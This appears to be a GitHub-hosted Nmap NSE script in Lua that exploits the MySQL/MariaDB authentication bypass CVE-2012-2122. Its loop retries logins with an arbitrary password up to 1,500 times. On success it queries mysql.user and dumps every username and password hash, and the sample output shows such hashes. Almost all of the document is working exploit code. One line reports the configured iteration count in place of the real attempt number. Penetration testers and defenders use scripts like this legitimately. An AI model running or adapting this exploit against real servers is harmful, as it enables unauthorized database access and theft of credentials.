-
Notifications
You must be signed in to change notification settings - Fork 1
/
mysql-vuln-cve2012-2122.nse
152 lines (140 loc) · 6.73 KB
/
mysql-vuln-cve2012-2122.nse
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
description = [[
Attempts to bypass authentication in MySQL and MariaDB servers by
exploiting CVE2012-2122. If its vulnerable, it will also attempt to
dump the MySQL usernames and password hashes.
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
vulnerable but exploitation depends on whether memcmp() returns an
arbitrary integer outside of -128..127 range.
"When a user connects to MariaDB/MySQL, a token (SHA over a password
and a random scramble string) is calculated and compared with the
expected value. Because of incorrect casting, it might've happened
that the token and the expected value were considered equal, even if
the memcmp() returned a non-zero value. In this case MySQL/MariaDB
would think that the password is correct, even while it is not.
Because the protocol uses random strings, the probability of hitting
this bug is about 1/256. Which means, if one knows a user name to
connect (and "root" almost always exists), she can connect using *any*
password by repeating connection attempts. ~300 attempts takes only a
fraction of second, so basically account password protection is as
good as nonexistent."
Original public advisory:
* http://seclists.org/oss-sec/2012/q2/493
Interesting post about this vuln:
* https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
]]
---
-- @usage nmap -p3306 --script mysql-vuln-cve2012-2122 <target>
-- @usage nmap -sV --script mysql-vuln-cve2012-2122 <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 3306/tcp open mysql syn-ack
-- | mysql-vuln-cve2012-2122:
-- | VULNERABLE:
-- | Authentication bypass in MySQL servers.
-- | State: VULNERABLE
-- | IDs: CVE:CVE-2012-2122
-- | Description:
-- | When a user connects to MariaDB/MySQL, a token (SHA
-- | over a password and a random scramble string) is calculated and compared
-- | with the expected value. Because of incorrect casting, it might've
-- | happened that the token and the expected value were considered equal,
-- | even if the memcmp() returned a non-zero value. In this case
-- | MySQL/MariaDB would think that the password is correct, even while it is
-- | not. Because the protocol uses random strings, the probability of
-- | hitting this bug is about 1/256.
-- | Which means, if one knows a user name to connect (and "root" almost
-- | always exists), she can connect using *any* password by repeating
-- | connection attempts. ~300 attempts takes only a fraction of second, so
-- | basically account password protection is as good as nonexistent.
-- |
-- | Disclosure date: 2012-06-9
-- | Extra information:
-- | Server granted access at iteration #204
-- | root:*9CFBBC772F3F6C106020035386DA5BBBF1249A11
-- | debian-sys-maint:*BDA9386EE35F7F326239844C185B01E3912749BF
-- | phpmyadmin:*9CFBBC772F3F6C106020035386DA5BBBF1249A11
-- | References:
-- | https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
-- | http://seclists.org/oss-sec/2012/q2/493
-- |_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2122
--
-- @args mysql-cve2012-2122.user MySQL username. Default: root.
-- @args mysql-cve2012-2122.iterations Connection retries. Default: 1500.
-- @args mysql-cve2012-2122.socket_timeout Socket timeout. Default: 5000.
---
local mysql = require "mysql"
local nmap = require "nmap"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local vulns = require "vulns"
local openssl = stdnse.silent_require "openssl"
author = "Paulino Calderon <calderon()websec.mx>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery", "intrusive", "vuln"}
portrule = shortport.port_or_service(3306, "mysql")
action = function( host, port )
local vuln = {
title = 'Authentication bypass in MySQL servers.',
IDS = {CVE = 'CVE-2012-2122'},
state = vulns.STATE.NOT_VULN,
description = [[
When a user connects to MariaDB/MySQL, a token (SHA
over a password and a random scramble string) is calculated and compared
with the expected value. Because of incorrect casting, it might've
happened that the token and the expected value were considered equal,
even if the memcmp() returned a non-zero value. In this case
MySQL/MariaDB would think that the password is correct, even while it is
not. Because the protocol uses random strings, the probability of
hitting this bug is about 1/256.
Which means, if one knows a user name to connect (and "root" almost
always exists), she can connect using *any* password by repeating
connection attempts. ~300 attempts takes only a fraction of second, so
basically account password protection is as good as nonexistent.
]],
references = {
'http://seclists.org/oss-sec/2012/q2/493',
'https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql'
},
dates = {
disclosure = {year = '2012', month = '06', day = '9'},
},
}
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local socket = nmap.new_socket()
local catch = function() socket:close() end
local try = nmap.new_try(catch)
local result, response = {}, nil
local status
local mysql_user = stdnse.get_script_args(SCRIPT_NAME..".user") or "root"
local mysql_pwd = stdnse.get_script_args(SCRIPT_NAME..".pass") or "nmapFTW"
local iterations = stdnse.get_script_args(SCRIPT_NAME..".iterations") or 1500
local conn_timeout = stdnse.get_script_args(SCRIPT_NAME..".socket_timeout") or 5000
socket:set_timeout(conn_timeout)
--
-- Chance of succeeding is 1/256. Let's try 1,500 to be safe.
--
for i=1,iterations do
stdnse.print_debug(1, "%s: Connection attempt #%d", SCRIPT_NAME, i)
try( socket:connect(host, port) )
response = try( mysql.receiveGreeting(socket) )
status, response = mysql.loginRequest(socket, {authversion = "post41", charset = response.charset}, mysql_user, mysql_pwd, response.salt)
if status and response.errorcode == 0 then
vuln.extra_info = string.format("Server granted access at iteration #%d\n", iterations)
vuln.state = vulns.STATE.EXPLOIT
--This part is based on mysql-dump-hashes
local qry = "SELECT DISTINCT CONCAT(user, ':', password) FROM mysql.user WHERE password <> ''"
local status, rows = mysql.sqlQuery(socket, qry)
socket:close()
if status then
result = mysql.formatResultset(rows, {noheaders = true})
vuln.extra_info = vuln.extra_info .. stdnse.format_output(true, result)
end
break
end
socket:close()
end
return vuln_report:make_output(vuln)
end